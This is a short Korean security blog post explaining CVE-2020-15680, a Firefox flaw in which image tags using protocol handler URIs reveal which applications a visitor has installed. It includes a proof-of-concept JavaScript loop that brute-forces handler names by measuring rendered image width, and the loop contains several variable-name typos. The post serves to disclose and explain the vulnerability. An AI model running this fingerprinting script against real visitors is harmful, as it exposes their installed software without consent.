[하루한줄] CVE-2020-15680 : protocol handler infomation disclosure

URL

leaking browser url/protocol handler

Target

Firebox 78.01

Explain

Firefox에서 Protocol Handler를 이용한 Information Disclosure 취약점이 발견되었습니다. Protocol Handler는 응용 프로그램이 자신의 URI scheme를 등록할 수 있는 매커니즘으로 이를 통해 프로세스를 실행할 수 있습니다. 브라우저가 Protocol Handler URI를 사용해 프로세스를 실행하면 “웹사이트에서 이 애플리케이션을 열려고 합니다.”라는 알림이 뜹니다.

Firefox가 이미지 태그의 소스를 렌더링 할 때, Protocol Handler의 존재 여부에 따라 렌더링 결과가 다릅니다. 해커는 이점을 악용해 원격으로 victim에 설치된 프로그램 리스트를 알 수 있습니다.

<img src="존재하는ProtocolHandler://abc">

victim에 존재하는 Protocol Handler를 이미지 src에 넣으면 broken image에 대한 기본 설정에 따라 Element의 size가 24x24로 렌더링 됩니다.

<img src="존재하지않는ProtocolHandler://abc">

반면, 존재하지 않는 Protocol Handler를 이미지 src에 넣으면 Element의 size는 0x0으로 설정됩니다.

따라서 해커는 간단한 JS script로 Element의 width를 검사해 Protocol Handler의 존재 여부를 확인하는 brute force 공격을 할 수 있습니다.

known_handlers = [
  ...
]
  
for (var i = knwon_handers.length -1; i>=0; i--){
  handler_id = 'handler_' + i
  $('body').append('<img id ="' + handler_id + '"src="'+known_handers[i]
  + '://192.168.133.142/"></img>')
  if($('#' + handler_id).css('width') == "24px"){
    $('<p>Handler ' + known_handlers[i] + 'Exists</p>').appendTo('#logbox');
  }
  else{
    $('<p>Hander ' + known_handers[i] + 'Does not exists</p>').appendTo('#logbox');
  }
  
  $('#' + hander_id).remove()
}


본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.